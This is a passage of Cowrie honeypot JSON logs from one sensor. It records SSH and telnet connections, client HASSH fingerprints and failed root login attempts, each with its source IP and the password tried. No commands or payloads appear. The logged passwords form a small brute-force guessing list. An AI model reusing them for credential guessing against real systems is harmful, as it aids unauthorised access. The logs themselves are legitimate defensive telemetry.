"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:08.266737Z","src_ip":"166.1.144.134","session":"278209cb03cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mgeweb","message":"login attempt [root/mgeweb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:08.702882Z","src_ip":"166.1.144.134","session":"278209cb03cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":49714,"dst_ip":"10.17.0.5","dst_port":22,"session":"a94563dfcc0b","protocol":"ssh","message":"New connection: 117.121.214.50:49714 (10.17.0.5:22) [session: a94563dfcc0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:09.138270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:09.143243Z","src_ip":"117.121.214.50","session":"a94563dfcc0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:09.392056Z","src_ip":"117.121.214.50","session":"a94563dfcc0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:09.809457Z","src_ip":"166.1.144.134","session":"278209cb03cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":34172,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f57c3609a88","protocol":"ssh","message":"New connection: 94.159.98.239:34172 (159.203.135.109:22) [session: 7f57c3609a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:10.021858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:10.031582Z","src_ip":"94.159.98.239","session":"7f57c3609a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:10.153716Z","src_ip":"94.159.98.239","session":"7f57c3609a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinutzuhacker","message":"login attempt [root/alinutzuhacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:10.413769Z","src_ip":"117.121.214.50","session":"a94563dfcc0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198888","message":"login attempt [root/198888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:10.530780Z","src_ip":"94.159.98.239","session":"7f57c3609a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:11.651690Z","src_ip":"94.159.98.239","session":"7f57c3609a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:11.667195Z","src_ip":"117.121.214.50","session":"a94563dfcc0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.74003458023071,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:12.277569Z","src_ip":"152.42.224.71","session":"4e708198500b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52128,"dst_ip":"10.17.0.5","dst_port":23,"session":"87eff2ab5afe","protocol":"telnet","message":"New connection: 152.42.224.71:52128 (10.17.0.5:23) [session: 87eff2ab5afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:14.915589Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":59494,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aa1c190914f","protocol":"ssh","message":"New connection: 43.135.139.74:59494 (10.17.0.5:22) [session: 3aa1c190914f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:16.704943Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36214,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca1e1005a552","protocol":"telnet","message":"New connection: 152.42.224.71:36214 (10.17.0.5:23) [session: ca1e1005a552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:16.709610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:16.724472Z","src_ip":"43.135.139.74","session":"3aa1c190914f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:16.794256Z","src_ip":"43.135.139.74","session":"3aa1c190914f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.92971396446228,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:16.950090Z","src_ip":"152.42.224.71","session":"6b3527939768","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":50724,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5c6912d4aa5","protocol":"ssh","message":"New connection: 52.236.56.129:50724 (10.17.0.5:22) [session: f5c6912d4aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:17.024960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:17.031021Z","src_ip":"52.236.56.129","session":"f5c6912d4aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:17.101700Z","src_ip":"52.236.56.129","session":"f5c6912d4aa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deepspeed","message":"login attempt [root/deepspeed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:17.111387Z","src_ip":"43.135.139.74","session":"3aa1c190914f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"joebob","message":"login attempt [root/joebob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:17.434840Z","src_ip":"52.236.56.129","session":"f5c6912d4aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:18.184537Z","src_ip":"43.135.139.74","session":"3aa1c190914f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:18.510752Z","src_ip":"52.236.56.129","session":"f5c6912d4aa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36230,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f6dcd9c4fc1","protocol":"telnet","message":"New connection: 152.42.224.71:36230 (10.17.0.5:23) [session: 0f6dcd9c4fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:20.799041Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36246,"dst_ip":"10.17.0.5","dst_port":23,"session":"20a4f874e3f9","protocol":"telnet","message":"New connection: 152.42.224.71:36246 (10.17.0.5:23) [session: 20a4f874e3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:25.540771Z"}
{"eventid":"cowrie.session.closed","duration":55.26655673980713,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:31.284213Z","src_ip":"152.42.224.71","session":"6715500166c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":39390,"dst_ip":"159.203.135.109","dst_port":22,"session":"15c5f8711b40","protocol":"ssh","message":"New connection: 109.172.54.111:39390 (159.203.135.109:22) [session: 15c5f8711b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:32.317130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:32.322120Z","src_ip":"109.172.54.111","session":"15c5f8711b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:32.418564Z","src_ip":"109.172.54.111","session":"15c5f8711b40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321qwe","message":"login attempt [root/123321qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:32.706274Z","src_ip":"109.172.54.111","session":"15c5f8711b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:33.804047Z","src_ip":"109.172.54.111","session":"15c5f8711b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.77855563163757,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:35.796444Z","src_ip":"152.42.224.71","session":"5bae9d251ac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.23484492301941,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:36.749572Z","src_ip":"152.42.224.71","session":"b7cf9bcf3525","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.61108660697937,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:40.173202Z","src_ip":"152.42.224.71","session":"884db71fe517","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36168,"dst_ip":"10.17.0.5","dst_port":23,"session":"f23bba21ad0a","protocol":"telnet","message":"New connection: 152.42.224.71:36168 (10.17.0.5:23) [session: f23bba21ad0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:41.609125Z"}
{"eventid":"cowrie.session.closed","duration":28.560532093048096,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:43.475996Z","src_ip":"152.42.224.71","session":"87eff2ab5afe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36180,"dst_ip":"10.17.0.5","dst_port":23,"session":"4173abf1d13b","protocol":"telnet","message":"New connection: 152.42.224.71:36180 (10.17.0.5:23) [session: 4173abf1d13b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:45.412814Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37416,"dst_ip":"10.17.0.5","dst_port":23,"session":"432eb7384815","protocol":"telnet","message":"New connection: 152.42.224.71:37416 (10.17.0.5:23) [session: 432eb7384815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:47.648417Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.193.72","src_port":56386,"dst_ip":"10.17.0.5","dst_port":22,"session":"a96c7911349c","protocol":"ssh","message":"New connection: 119.96.193.72:56386 (10.17.0.5:22) [session: a96c7911349c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:49.701213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:49.706357Z","src_ip":"119.96.193.72","session":"a96c7911349c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:49.972263Z","src_ip":"119.96.193.72","session":"a96c7911349c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hxhtftp","message":"login attempt [root/hxhtftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:51.500624Z","src_ip":"119.96.193.72","session":"a96c7911349c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:52.774520Z","src_ip":"119.96.193.72","session":"a96c7911349c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.122","src_port":32762,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4e014e620ff","protocol":"telnet","message":"New connection: 64.62.156.122:32762 (10.17.0.5:23) [session: e4e014e620ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:54.354834Z"}
{"eventid":"cowrie.session.closed","duration":2.0756289958953857,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:56.430359Z","src_ip":"64.62.156.122","session":"e4e014e620ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53868,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc930f6bfc26","protocol":"telnet","message":"New connection: 152.42.224.71:53868 (10.17.0.5:23) [session: fc930f6bfc26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:57.173380Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53880,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b6cb2029a23","protocol":"telnet","message":"New connection: 152.42.224.71:53880 (10.17.0.5:23) [session: 5b6cb2029a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:57.234078Z"}
{"eventid":"cowrie.session.closed","duration":33.21947503089905,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:58.760119Z","src_ip":"152.42.224.71","session":"20a4f874e3f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":33630,"dst_ip":"10.17.0.5","dst_port":22,"session":"b12ebead1440","protocol":"ssh","message":"New connection: 165.154.227.158:33630 (10.17.0.5:22) [session: b12ebead1440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:59.885982Z"}
